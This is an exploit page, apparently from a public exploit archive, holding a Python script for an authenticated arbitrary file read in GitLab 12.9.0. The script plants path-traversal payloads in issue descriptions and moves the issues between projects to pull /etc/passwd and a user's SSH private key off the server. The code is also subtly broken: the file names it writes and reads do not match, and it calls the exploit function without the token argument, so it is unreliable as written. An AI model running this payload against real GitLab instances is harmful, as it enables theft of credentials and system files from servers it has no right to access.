Gitlab 12.9.0 – Arbitrary File Read (Authenticated)
# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated) # Google Dork: - # Date: 11/15/2020 # Exploit Author: Jasper Rasenberg # Vendor Homepage: https://about.gitlab.com # Software Link: https://about.gitlab.com/install # Version: tested on gitlab version 12.9.0 # Tested on: Kali Linux 2020.3 #You can create as many personal access tokens as you like from your GitLab profile. # Sign in to GitLab. # In the upper-right corner, click your avatar and select Settings. # On the User Settings menu, select Access Tokens. # Choose a name and optional expiry date for the token. # Choose the desired scopes. # Click the Create personal access token button. # Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one. # REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html # pip3 install gitlab # pip3 install requests # Use a client cert to verify SSL or set to False import os import requests import json from time import sleep from gitlab import * session = requests.Session() session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False host = '' def exploit(projectName, issueTitle, files, token): gl = Gitlab(host, private_token=token, session=session) gl.auth() p1 = gl.projects.create({'name': f"{projectName}-1"}) p2 = gl.projects.create({'name': f"{projectName}-2"}) for i, f in enumerate(files): stripped_f = f.rstrip('\n') issue = p1.issues.create({ \ 'title': f"{issueTitle}-{i}", 'description': \ "![a](/uploads/11111111111111111111111111111111/"\ f"../../../../../../../../../../../../../..{stripped_f})"}) print(issue.description) sleep(3) try: issue.move(p2.id) except Exception as e: pass sleep(3) if __name__ == "__main__": write_files = ['/etc/passwd', '~/.ssh/id_rsa'] with open('senstive_files', 'w') as sens: for file in write_files: sens.write(file) files = list(open('sensitive_files', 'r')) exploit('project-1', 'issue-1', files) |